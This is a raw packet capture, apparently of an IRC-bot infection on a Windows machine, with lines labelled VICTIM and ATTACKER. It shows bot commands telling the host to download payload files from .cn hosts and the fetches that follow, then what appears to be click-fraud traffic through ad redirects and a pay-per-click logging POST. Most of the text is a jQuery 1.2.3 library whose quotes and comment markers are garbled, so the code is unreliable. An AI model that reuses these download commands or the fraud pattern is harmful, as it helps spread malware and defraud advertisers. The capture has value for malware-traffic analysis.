VICTIM:  	GET / HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usReferer: http:/www.google.us/#hl=en&source=hp&q=usafoto.com&btnG=Google+Search&meta=&aq=f&oq=\$\$\$02&fp=453f837c80fa8500User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: usafoodindustry.comConnection: Keep-Alive 
ATTACKER:	GET /hc3.asp HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usReferer: http:/www.google.us/#hl=en&source=hp&q=usafoto.com&btnG=Google+Search&meta=&aq=f&oq=\$\$\$02&fp=453f837c80fa8500User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: usafoodindustry.comConnection: Keep-AliveCookie: ASPSESSIONIDAQDRTTDD=JFPACGFBPKMJKJDODKFKGNOB 
ATTACKER:	GET /include/lib.js HTTP/1.0Accept: */*Referer: http:/usafoodindustry.com/hc3.aspAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: usafoodindustry.comConnection: Keep-AliveCookie: ASPSESSIONIDAQDRTTDD=JFPACGFBPKMJKJDODKFKGNOB 
ATTACKER:	GET /dspa/hcimages/nonadult/generic_search/main.jpg HTTP/1.0Accept: */*Referer: http:/usafoodindustry.com/hc3.aspAccept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: zoo.parkingspa.comConnection: Keep-Alive 
VICTIM:  	NICK xmpunysoUSER a020500 . . :- 
VICTIM:  	Service Pack 2JOIN &virtu 
ATTACKER:	:u. PRIVMSG xmpunyso :!get http:/pozemle.cn/in/so.txt:u. PRIVMSG xmpunyso :!get http:/colopin.cn/oc/box.txt 
ATTACKER:	GET /in/so.txt HTTP/1.0User-Agent: DownloadHost: pozemle.cnPragma: no-cache 
ATTACKER:	GET / HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: devicesmarkets.comConnection: Keep-Alive 
ATTACKER:	GET /hc3.asp HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: devicesmarkets.comConnection: Keep-AliveCookie: ASPSESSIONIDAQDRTTDD=KIABCGFBFDOIELCENEDOBNKK 
ATTACKER:	GET /include/lib.js HTTP/1.1Accept: */*Referer: http:/devicesmarkets.com/hc3.aspAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: devicesmarkets.comConnection: Keep-AliveCookie: ASPSESSIONIDAQDRTTDD=KIABCGFBFDOIELCENEDOBNKK 
ATTACKER:	GET /hb.asp HTTP/1.1Accept: */*Referer: http:/devicesmarkets.com/hc3.aspAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: devicesmarkets.comConnection: Keep-AliveCookie: ASPSESSIONIDAQDRTTDD=KIABCGFBFDOIELCENEDOBNKK 
ATTACKER:	GET /dspa/hcimages/nonadult/business-47-material-32-handling/main.jpg HTTP/1.1Accept: */*Referer: http:/devicesmarkets.com/hc3.aspAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: zoo.parkingspa.comConnection: Keep-Alive 
ATTACKER:	GET /onexit.asp HTTP/1.1Accept: */*Referer: http:/devicesmarkets.com/hc3.aspAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: devicesmarkets.comConnection: Keep-AliveCookie: ASPSESSIONIDAQDRTTDD=KIABCGFBFDOIELCENEDOBNKK 
ATTACKER:	GET /oc/box.txt HTTP/1.0User-Agent: DownloadHost: colopin.cnPragma: no-cache 
VICTIM:  	POST /hc3.asp HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Referer: http:/devicesmarkets.com/hc3.aspAccept-Language: en-usContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: devicesmarkets.comContent-Length: 56Connection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDAQDRTTDD=KIABCGFBFDOIELCENEDOBNKKsearch_text=MATERIAL+HANDLING+EQUIPMENT&search_source=64 
ATTACKER:	GET /dspa/hcimages/nonadult/business-47-material-32-handling/img_s.jpg HTTP/1.1Accept: */*Referer: http:/devicesmarkets.com/hc3.aspAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: zoo.parkingspa.comConnection: Keep-Alive 
ATTACKER:	GET /blank.htm HTTP/1.1Accept: */*Referer: http:/devicesmarkets.com/hc3.aspAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: devicesmarkets.comConnection: Keep-AliveCookie: ASPSESSIONIDAQDRTTDD=KIABCGFBFDOIELCENEDOBNKK 
ATTACKER:	GET /hb.asp HTTP/1.1Accept: */*Referer: http:/devicesmarkets.com/hc3.aspAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: devicesmarkets.comConnection: Keep-AliveCookie: ASPSESSIONIDAQDRTTDD=KIABCGFBFDOIELCENEDOBNKK 
ATTACKER:	GET /onexit.asp HTTP/1.1Accept: */*Referer: http:/devicesmarkets.com/hc3.aspAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: devicesmarkets.comConnection: Keep-AliveCookie: ASPSESSIONIDAQDRTTDD=KIABCGFBFDOIELCENEDOBNKK 
ATTACKER:	GET /op/lgate.php?n=6D05DF620DE704D8 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: colopin.cnConnection: Keep-Alive 
ATTACKER:	GET /lib/ssv.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: colopin.cnConnection: Keep-Alive 
VICTIM:  	POST /ns/ppclog.asp HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Referer: http:/devicesmarkets.com/hc3.aspAccept-Language: en-usContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: devicesmarkets.comContent-Length: 240Connection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDAQDRTTDD=KIABCGFBFDOIELCENEDOBNKKsid=4396833970802655234&app=61&domain=devicesmarkets.com&query=MATERIAL+HANDLING+EQUIPMENT&vendor=OV&source=64&price=0.15&position=2&rejected=0&ens=Kx6KJUzfnpJYEzxEkEs&tts=GI8S6l5PmOLWGsD9NHofR5NORg6DIcadxDIeSdQ9csePoRDhIxaHcL8h8h&branch=US 
ATTACKER:	GET /d/sr/?xargs=15KPjg18RSmpamwryqdLjLT%2DCKxVYFgszv%5F85sCZZwHdBf82Q8De17bKXAncZ8ROxm%2DF%2DNwPOR%2D6ARLPH6nfyOFwyJQlSOHer%5Fyt2awIo%5FNqykUNdFh%5FMa%5FrXkn4RPOXwFZmu11eOOgq7BItT7P2gav4ICxRiZ64I2gsK3xOAcFrLa0VJ%5F7Q2FLMlbuek%5F0J7OK5sIQ8ckfa3s4CPkBZlFyMokw%2DCkbhAiHyqg4WsPq1qEUEN3t%5FHAeokXuLPyhI6QYf25o%2DlhP0nGtbE6qEPDlzqNkds9Yibb1%2DRJzQ9AHumlMWbL2V4idJ%5FHyMLM2ux173WjAfzpMyf6YVQqK0glDf64ZQudZTBTvlzoJ8AEMd%5F%5Fvi68BKfXVS0ldAJbruf3efZEoz37iDdvHTffEqTu8CJIJLMm3Bv18myH2n1J HTTP/1.1Accept: */*Referer: http:/devicesmarkets.com/hc3.aspAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: rc10.overture.comConnection: Keep-Alive 
ATTACKER:	GET /?param1={KeyWord:Oakland%20Material%20Handling} HTTP/1.1Accept: */*Referer: http:/devicesmarkets.com/hc3.aspAccept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Connection: Keep-AliveHost: www.cromermaterialhandling.com 
ATTACKER:	GET /lpc/renderer/pages/shared/css/application_content.css HTTP/1.1Accept: */*Referer: http:/www.cromermaterialhandling.com/?param1={KeyWord:Oakland%20Material%20Handling}Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.cromermaterialhandling.comConnection: Keep-AliveCookie: identifier=a%3A1%3A%7Bi%3A10114%3Bs%3A32%3A%221fcdeff5a0a144f09b5340db5f66edfd%22%3B%7D; BIGipServerLanding_Pages_80=302055690.20480.0000 
ATTACKER:	GET /lpc/renderer/pages/templates/standard_new/assets/main.css HTTP/1.1Accept: */*Referer: http:/www.cromermaterialhandling.com/?param1={KeyWord:Oakland%20Material%20Handling}Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.cromermaterialhandling.comConnection: Keep-AliveCookie: identifier=a%3A1%3A%7Bi%3A10114%3Bs%3A32%3A%221fcdeff5a0a144f09b5340db5f66edfd%22%3B%7D; BIGipServerLanding_Pages_80=302055690.20480.0000 
ATTACKER:	GET /lpc/renderer/pages/templates/standard_new/assets/print.css HTTP/1.1Accept: */*Referer: http:/www.cromermaterialhandling.com/?param1={KeyWord:Oakland%20Material%20Handling}Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.cromermaterialhandling.comConnection: Keep-AliveCookie: identifier=a%3A1%3A%7Bi%3A10114%3Bs%3A32%3A%221fcdeff5a0a144f09b5340db5f66edfd%22%3B%7D; BIGipServerLanding_Pages_80=302055690.20480.0000 
ATTACKER:	GET /lpc/renderer/pages/themes/standard_blue/color.css HTTP/1.1Accept: */*Referer: http:/www.cromermaterialhandling.com/?param1={KeyWord:Oakland%20Material%20Handling}Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.cromermaterialhandling.comConnection: Keep-AliveCookie: identifier=a%3A1%3A%7Bi%3A10114%3Bs%3A32%3A%221fcdeff5a0a144f09b5340db5f66edfd%22%3B%7D; BIGipServerLanding_Pages_80=302055690.20480.0000 
ATTACKER:	GET /lpc/renderer/pages/shared/js/jquery-1.2.3.js HTTP/1.1Accept: */*Referer: http:/www.cromermaterialhandling.com/?param1={KeyWord:Oakland%20Material%20Handling}Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.cromermaterialhandling.comConnection: Keep-AliveCookie: identifier=a%3A1%3A%7Bi%3A10114%3Bs%3A32%3A%221fcdeff5a0a144f09b5340db5f66edfd%22%3B%7D; BIGipServerLanding_Pages_80=302055690.20480.0000 
ATTACKER:	HTTP/1.1 200 OKDate: Mon, 30 Nov 2009 03:09:30 GMTServer: Apache/2.2.3 (CentOS)Last-Modified: Thu, 05 Nov 2009 00:17:33 GMTETag: \10875a-179fb-a753e140\Accept-Ranges: bytesContent-Length: 96763Connection: closeContent-Type: application/x-javascript(function(){/* * jQuery 1.2.3 - New Wave Javascript * * Copyright (c) 2008 John Resig (jquery.com) * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * \$Date: 2008-02-06 00:21:25 -0500 (Wed, 06 Feb 2008) \$ * \$Rev: 4663 \$ *// Map over jQuery in case of overwriteif ( window.jQuery )\tvar _jQuery = window.jQuery;var jQuery = window.jQuery = function( selector, context ) {\t/ The jQuery object is actually just the init constructor 'enhanced'\treturn new jQuery.prototype.init( selector, context );};/ Map over the \$ in case of overwriteif ( window.\$ )\tvar _\$ = window.\$;\t/ Map the jQuery namespace to the '\$' onewindow.\$ = jQuery;/ A simple way to check for HTML strings or ID strings/ (both of which we optimize for)var quickExpr = /^[^<]*(<(.|\\s)+>)[^>]*\$|^#(\\w+)\$/;/ Is it a simple selectorvar isSimple = /^.[^:#\\[\\.]*\$/;jQuery.fn = jQuery.prototype = {\tinit: function( selector, context ) {\t\t/ Make sure that a selection was provided\t\tselector = selector || document;\t\t/ Handle \$(DOMElement)\t\tif ( selector.nodeType ) {\t\t\tthis[0] = selector;\t\t\tthis.length = 1;\t\t\treturn this;\t\t/ Handle HTML strings 
ATTACKER:	\t\t} else if ( typeof selector == \string\ ) {\t\t\t/ Are we dealing with HTML string or an ID?\t\t\tvar match = quickExpr.exec( selector );\t\t\t/ Verify a match, and that no context was specified for #id\t\t\tif ( match && (match[1] || !context) ) {\t\t\t\t/ HANDLE: \$(html) -> \$(array)\t\t\t\tif ( match[1] )\t\t\t\t\tselector = jQuery.clean( [ match[1] ], context );\t\t\t\t/ HANDLE: \$(\#id\)\t\t\t\telse {\t\t\t\t\tvar elem = document.getElementById( match[3] );\t\t\t\t\t/ Make sure an element was located\t\t\t\t\tif ( elem )\t\t\t\t\t\t/ Handle the case where IE and Opera return items\t\t\t\t\t\t/ by name instead of ID\t\t\t\t\t\tif ( elem.id != match[3] )\t\t\t\t\t\t\treturn jQuery().find( selector );\t\t\t\t\t\t/ Otherwise, we inject the element directly into the jQuery object\t\t\t\t\t\telse {\t\t\t\t\t\t\tthis[0] = elem;\t\t\t\t\t\t\tthis.length = 1;\t\t\t\t\t\t\treturn this;\t\t\t\t\t\t}\t\t\t\t\telse\t\t\t\t\t\tselector = [];\t\t\t\t}\t\t\t/ HANDLE: \$(expr, [context])\t\t\t/ (which is just equivalent to: \$(content).find(expr)\t\t\t} else\t\t\t\treturn new jQuery( context ).find( selector );\t\t/ HANDLE: \$(function)\t\t/ Shortcut for document ready\t\t} else if ( jQuery.isFunction( selector ) )\t\t\treturn new jQuery( document )[ jQuery.fn.ready ? eady\ : \load\ ]( selector );\t\treturn this.setArray(\t\t\t/ HANDLE: \$(array)\t\t\tselector.constructor == Array && selector ||\t\t\t/ HANDLE: \$(arraylike)\t\t\t/ Watch for when an array-like object, contains DOM nodes, is passed in as the selector\t\t\t(selector.jquery || selector.l 
ATTACKER:	ength && selector != window && !selector.nodeType && selector[0] != undefined && selector[0].nodeType) && jQuery.makeArray( selector ) ||\t\t\t/ HANDLE: \$(*)\t\t\t[ selector ] );\t},\t\t/ The current version of jQuery being used\tjquery: \1.2.3\,\t/ The number of elements contained in the matched element set\tsize: function() {\t\treturn this.length;\t},\t\t/ The number of elements contained in the matched element set\tlength: 0,\t/ Get the Nth element in the matched element set OR\t/ Get the whole matched element set as a clean array\tget: function( num ) {\t\treturn num == undefined ?\t\t\t/ Return a 'clean' array\t\t\tjQuery.makeArray( this ) :\t\t\t/ Return just the object\t\t\tthis[ num ];\t},\t\t/ Take an array of elements and push it onto the stack\t/ (returning the new matched element set)\tpushStack: function( elems ) {\t\t/ Build a new jQuery matched element set\t\tvar ret = jQuery( elems );\t\t/ Add the old object onto the stack (as a reference)\t\tret.prevObject = this;\t\t/ Return the newly-formed element set\t\treturn ret;\t},\t\t/ Force the current matched set of elements to become\t/ the specified array of elements (destroying the stack in the process)\t/ You should use pushStack() in order to do this, but maintain the stack\tsetArray: function( elems ) {\t\t/ Resetting the length to 0, then using the native Array push\t\t/ is a super-fast way to populate an object with array-like properties\t\tthis.length = 0;\t\tArray 
ATTACKER:	.prototype.push.apply( this, elems );\t\t\t\treturn this;\t},\t/ Execute a callback for every element in the matched set.\t/ (You can seed the arguments with an array of args, but this is\t/ only used internally.)\teach: function( callback, args ) {\t\treturn jQuery.each( this, callback, args );\t},\t/ Determine the position of an element within \t/ the matched set of elements\tindex: function( elem ) {\t\tvar ret = -1;\t\t/ Locate the position of the desired element\t\tthis.each(function(i){\t\t\tif ( this == elem )\t\t\t\tret = i;\t\t});\t\treturn ret;\t},\tattr: function( name, value, type ) {\t\tvar options = name;\t\t\t\t/ Look for the case where we're accessing a style value\t\tif ( name.constructor == String )\t\t\tif ( value == undefined )\t\t\t\treturn this.length && jQuery[ type || \attr\ ]( this[0], name ) || undefined;\t\t\telse {\t\t\t\toptions = {};\t\t\t\toptions[ name ] = value;\t\t\t}\t\t\t\t/ Check to see if we're setting style values\t\treturn this.each(function(i){\t\t\t/ Set all the styles\t\t\tfor ( name in options )\t\t\t\tjQuery.attr(\t\t\t\t\ttype ?\t\t\t\t\t\tthis.style :\t\t\t\t\t\tthis,\t\t\t\t\tname, jQuery.prop( this, options[ name ], type, i, name )\t\t\t\t);\t\t});\t},\tcss: function( key, value ) {\t\t/ ignore negative width and height values\t\tif ( (key == 'width' || key == 'height') && parseFloat(value) < 0 )\t\t\tvalue = undefined;\t\treturn this.attr( key, value, \curCSS\ );\t},\ttext: function( text ) {\t\tif ( typeof text != \object\ && text != nul 
ATTACKER:	l )\t\t\treturn this.empty().append( (this[0] && this[0].ownerDocument || document).createTextNode( text ) );\t\tvar ret = \\;\t\tjQuery.each( text || this, function(){\t\t\tjQuery.each( this.childNodes, function(){\t\t\t\tif ( this.nodeType != 8 )\t\t\t\t\tret += this.nodeType != 1 ?\t\t\t\t\t\tthis.nodeValue :\t\t\t\t\t\tjQuery.fn.text( [ this ] );\t\t\t});\t\t});\t\treturn ret;\t},\twrapAll: function( html ) {\t\tif ( this[0] )\t\t\t/ The elements to wrap the target around\t\t\tjQuery( html, this[0].ownerDocument )\t\t\t\t.clone()\t\t\t\t.insertBefore( this[0] )\t\t\t\t.map(function(){\t\t\t\t\tvar elem = this;\t\t\t\t\twhile ( elem.firstChild )\t\t\t\t\t\telem = elem.firstChild;\t\t\t\t\treturn elem;\t\t\t\t})\t\t\t\t.append(this);\t\treturn this;\t},\twrapInner: function( html ) {\t\treturn this.each(function(){\t\t\tjQuery( this ).contents().wrapAll( html );\t\t});\t},\twrap: function( html ) {\t\treturn this.each(function(){\t\t\tjQuery( this ).wrapAll( html );\t\t});\t},\tappend: function() {\t\treturn this.domManip(arguments, true, false, function(elem){\t\t\tif (this.nodeType == 1)\t\t\t\tthis.appendChild( elem );\t\t});\t},\tprepend: function() {\t\treturn this.domManip(arguments, true, true, function(elem){\t\t\tif (this.nodeType == 1)\t\t\t\tthis.insertBefore( elem, this.firstChild );\t\t});\t},\t\tbefore: function() {\t\treturn this.domManip(arguments, false, false, function(elem){\t\t\tthis.parentNode.insertBefore( elem, this );\t\t});\t},\tafter: function() {\t\treturn this.domManip(arguments, fals 
ATTACKER:	e, true, function(elem){\t\t\tthis.parentNode.insertBefore( elem, this.nextSibling );\t\t});\t},\tend: function() {\t\treturn this.prevObject || jQuery( [] );\t},\tfind: function( selector ) {\t\tvar elems = jQuery.map(this, function(elem){\t\t\treturn jQuery.find( selector, elem );\t\t});\t\treturn this.pushStack( /[^+>] [^+>]/.test( selector ) || selector.indexOf(\..\) > -1 ?\t\t\tjQuery.unique( elems ) :\t\t\telems );\t},\tclone: function( events ) {\t\t/ Do the clone\t\tvar ret = this.map(function(){\t\t\tif ( jQuery.browser.msie && !jQuery.isXMLDoc(this) ) {\t\t\t\t/ IE copies events bound via attachEvent when\t\t\t\t/ using cloneNode. Calling detachEvent on the\t\t\t\t/ clone will also remove the events from the orignal\t\t\t\t/ In order to get around this, we use innerHTML.\t\t\t\t/ Unfortunately, this means some modifications to \t\t\t\t/ attributes in IE that are actually only stored \t\t\t\t/ as properties will not be copied (such as the\t\t\t\t/ the name attribute on an input).\t\t\t\tvar clone = this.cloneNode(true),\t\t\t\t\tcontainer = document.createElement(\div\);\t\t\t\tcontainer.appendChild(clone);\t\t\t\treturn jQuery.clean([container.innerHTML])[0];\t\t\t} else\t\t\t\treturn this.cloneNode(true);\t\t});\t\t/ Need to set the expando to null on the cloned set if it exists\t\t/ removeData doesn't work here, IE removes it from the original as well\t\t/ this is primarily for IE but the data expando shouldn't be copied over in any browser\t\tvar clone = ret.find(\*\).a 
ATTACKER:	ndSelf().each(function(){\t\t\tif ( this[ expando ] != undefined )\t\t\t\tthis[ expando ] = null;\t\t});\t\t\t\t/ Copy the events from the original to the clone\t\tif ( events === true )\t\t\tthis.find(\*\).andSelf().each(function(i){\t\t\t\tif (this.nodeType == 3)\t\t\t\t\treturn;\t\t\t\tvar events = jQuery.data( this, \events\ );\t\t\t\tfor ( var type in events )\t\t\t\t\tfor ( var handler in events[ type ] )\t\t\t\t\t\tjQuery.event.add( clone[ i ], type, events[ type ][ handler ], events[ type ][ handler ].data );\t\t\t});\t\t/ Return the cloned set\t\treturn ret;\t},\tfilter: function( selector ) {\t\treturn this.pushStack(\t\t\tjQuery.isFunction( selector ) &&\t\t\tjQuery.grep(this, function(elem, i){\t\t\t\treturn selector.call( elem, i );\t\t\t}) ||\t\t\tjQuery.multiFilter( selector, this ) );\t},\tnot: function( selector ) {\t\tif ( selector.constructor == String )\t\t\t/ test special case where just one selector is passed in\t\t\tif ( isSimple.test( selector ) )\t\t\t\treturn this.pushStack( jQuery.multiFilter( selector, this, true ) );\t\t\telse\t\t\t\tselector = jQuery.multiFilter( selector, this );\t\tvar isArrayLike = selector.length && selector[selector.length - 1] !== undefined && !selector.nodeType;\t\treturn this.filter(function() {\t\t\treturn isArrayLike ? jQuery.inArray( this, selector ) < 0 : this != selector;\t\t});\t},\tadd: function( selector ) {\t\treturn !selector ? this : this.pushStack( jQuery.merge( \t\t\tthis.get(),\t\t\tselector.constructor == String ? \t\t\t\tjQuery( s 
ATTACKER:	elector ).get() :\t\t\t\tselector.length != undefined && (!selector.nodeName || jQuery.nodeName(selector, \form\)) ?\t\t\t\t\tselector : [selector] ) );\t},\tis: function( selector ) {\t\treturn selector ?\t\t\tjQuery.multiFilter( selector, this ).length > 0 :\t\t\tfalse;\t},\thasClass: function( selector ) {\t\treturn this.is( \.\ + selector );\t},\t\tval: function( value ) {\t\tif ( value == undefined ) {\t\t\tif ( this.length ) {\t\t\t\tvar elem = this[0];\t\t\t\t/ We need to handle select boxes special\t\t\t\tif ( jQuery.nodeName( elem, \select\ ) ) {\t\t\t\t\tvar index = elem.selectedIndex,\t\t\t\t\t\tvalues = [],\t\t\t\t\t\toptions = elem.options,\t\t\t\t\t\tone = elem.type == \select-one\;\t\t\t\t\t\t\t\t\t\t/ Nothing was selected\t\t\t\t\tif ( index < 0 )\t\t\t\t\t\treturn null;\t\t\t\t\t/ Loop through all the selected options\t\t\t\t\tfor ( var i = one ? index : 0, max = one ? index + 1 : options.length; i < max; i++ ) {\t\t\t\t\t\tvar option = options[ i ];\t\t\t\t\t\tif ( option.selected ) {\t\t\t\t\t\t\t/ Get the specifc value for the option\t\t\t\t\t\t\tvalue = jQuery.browser.msie && !option.attributes.value.specified ? option.text : option.value;\t\t\t\t\t\t\t\t\t\t\t\t\t\t/ We don't need an array for one selects\t\t\t\t\t\t\tif ( one )\t\t\t\t\t\t\t\treturn value;\t\t\t\t\t\t\t\t\t\t\t\t\t\t/ Multi-Selects return an array\t\t\t\t\t\t\tvalues.push( value );\t\t\t\t\t\t}\t\t\t\t\t}\t\t\t\t\t\t\t\t\t\treturn values;\t\t\t\t\t\t\t\t\t/ Everything else, we just grab the value\t\t\t\t} else\t\t\t\t\treturn (this[0].value || \\).replace(/\/g, \\);\t\t\t}\t\t\treturn undefined;\t 
ATTACKER:	\t}\t\treturn this.each(function(){\t\t\tif ( this.nodeType != 1 )\t\t\t\treturn;\t\t\tif ( value.constructor == Array && /radio|checkbox/.test( this.type ) )\t\t\t\tthis.checked = (jQuery.inArray(this.value, value) >= 0 ||\t\t\t\t\tjQuery.inArray(this.name, value) >= 0);\t\t\telse if ( jQuery.nodeName( this, \select\ ) ) {\t\t\t\tvar values = value.constructor == Array ?\t\t\t\t\tvalue :\t\t\t\t\t[ value ];\t\t\t\tjQuery( \option\, this ).each(function(){\t\t\t\t\tthis.selected = (jQuery.inArray( this.value, values ) >= 0 ||\t\t\t\t\t\tjQuery.inArray( this.text, values ) >= 0);\t\t\t\t});\t\t\t\tif ( !values.length )\t\t\t\t\tthis.selectedIndex = -1;\t\t\t} else\t\t\t\tthis.value = value;\t\t});\t},\t\thtml: function( value ) {\t\treturn value == undefined ?\t\t\t(this.length ?\t\t\t\tthis[0].innerHTML :\t\t\t\tnull) :\t\t\tthis.empty().append( value );\t},\treplaceWith: function( value ) {\t\treturn this.after( value ).remove();\t},\teq: function( i ) {\t\treturn this.slice( i, i + 1 );\t},\tslice: function() {\t\treturn this.pushStack( Array.prototype.slice.apply( this, arguments ) );\t},\tmap: function( callback ) {\t\treturn this.pushStack( jQuery.map(this, function(elem, i){\t\t\treturn callback.call( elem, i, elem );\t\t}));\t},\tandSelf: function() {\t\treturn this.add( this.prevObject );\t},\tdata: function( key, value ){\t\tvar parts = key.split(\.\);\t\tparts[1] = parts[1] ? \.\ + parts[1] : \\;\t\tif ( value == null ) {\t\t\tvar data = this.triggerHandler(\getData\ + parts[1] + \!\, [parts[0 
ATTACKER:	]]);\t\t\t\t\t\tif ( data == undefined && this.length )\t\t\t\tdata = jQuery.data( this[0], key );\t\t\treturn data == null && parts[1] ?\t\t\t\tthis.data( parts[0] ) :\t\t\t\tdata;\t\t} else\t\t\treturn this.trigger(\setData\ + parts[1] + \!\, [parts[0], value]).each(function(){\t\t\t\tjQuery.data( this, key, value );\t\t\t});\t},\tremoveData: function( key ){\t\treturn this.each(function(){\t\t\tjQuery.removeData( this, key );\t\t});\t},\t\tdomManip: function( args, table, reverse, callback ) {\t\tvar clone = this.length > 1, elems; \t\treturn this.each(function(){\t\t\tif ( !elems ) {\t\t\t\telems = jQuery.clean( args, this.ownerDocument );\t\t\t\tif ( reverse )\t\t\t\t\telems.reverse();\t\t\t}\t\t\tvar obj = this;\t\t\tif ( table && jQuery.nodeName( this, \table\ ) && jQuery.nodeName( elems[0], \tr\ ) )\t\t\t\tobj = this.getElementsByTagName(\tbody\)[0] || this.appendChild( this.ownerDocument.createElement(\tbody\) );\t\t\tvar scripts = jQuery( [] );\t\t\tjQuery.each(elems, function(){\t\t\t\tvar elem = clone ?\t\t\t\t\tjQuery( this ).clone( true )[0] :\t\t\t\t\tthis;\t\t\t\t/ execute all scripts after the elements have been injected\t\t\t\tif ( jQuery.nodeName( elem, \script\ ) ) {\t\t\t\t\tscripts = scripts.add( elem );\t\t\t\t} else {\t\t\t\t\t/ Remove any inner scripts for later evaluation\t\t\t\t\tif ( elem.nodeType == 1 )\t\t\t\t\t\tscripts = scripts.add( jQuery( \script\, elem ).remove() );\t\t\t\t\t/ Inject the elements into the document\t\t\t\t\tcallback.call( obj, elem );\t\t\t\t}\t\t\t});\t\t\tscripts.each( eval 
ATTACKER:	Script );\t\t});\t}};/ Give the init function the jQuery prototype for later instantiationjQuery.prototype.init.prototype = jQuery.prototype;function evalScript( i, elem ) {\tif ( elem.src )\t\tjQuery.ajax({\t\t\turl: elem.src,\t\t\tasync: false,\t\t\tdataType: \script\\t\t});\telse\t\tjQuery.globalEval( elem.text || elem.textContent || elem.innerHTML || \\ );\tif ( elem.parentNode )\t\telem.parentNode.removeChild( elem );}jQuery.extend = jQuery.fn.extend = function() {\t/ copy reference to target object\tvar target = arguments[0] || {}, i = 1, length = arguments.length, deep = false, options;\t/ Handle a deep copy situation\tif ( target.constructor == Boolean ) {\t\tdeep = target;\t\ttarget = arguments[1] || {};\t\t/ skip the boolean and the target\t\ti = 2;\t}\t/ Handle case when target is a string or something (possible in deep copy)\tif ( typeof target != \object\ && typeof target != \function\ )\t\ttarget = {};\t/ extend jQuery itself if only one argument is passed\tif ( length == 1 ) {\t\ttarget = this;\t\ti = 0;\t}\tfor ( ; i < length; i++ )\t\t/ Only deal with non-null/undefined values\t\tif ( (options = arguments[ i ]) != null )\t\t\t/ Extend the base object\t\t\tfor ( var name in options ) {\t\t\t\t/ Prevent never-ending loop\t\t\t\tif ( target === options[ name ] )\t\t\t\t\tcontinue;\t\t\t\t/ Recurse if we're merging object values\t\t\t\tif ( deep && options[ name ] && typeof options[ name ] == \object\ && target[ name ] && !options[ name  
ATTACKER:	].nodeType )\t\t\t\t\ttarget[ name ] = jQuery.extend( target[ name ], options[ name ] );\t\t\t\t/ Don't bring in undefined values\t\t\t\telse if ( options[ name ] != undefined )\t\t\t\t\ttarget[ name ] = options[ name ];\t\t\t}\t/ Return the modified object\treturn target;};var expando = \jQuery\ + (new Date()).getTime(), uuid = 0, windowData = {};/ exclude the following css properties to add pxvar exclude = /z-?index|font-?weight|opacity|zoom|line-?height/i;jQuery.extend({\tnoConflict: function( deep ) {\t\twindow.\$ = _\$;\t\tif ( deep )\t\t\twindow.jQuery = _jQuery;\t\treturn jQuery;\t},\t/ See test/unit/core.js for details concerning this function.\tisFunction: function( fn ) {\t\treturn !!fn && typeof fn != \string\ && !fn.nodeName && \t\t\tfn.constructor != Array && /function/i.test( fn + \\ );\t},\t\t/ check if an element is in a (or is an) XML document\tisXMLDoc: function( elem ) {\t\treturn elem.documentElement && !elem.body ||\t\t\telem.tagName && 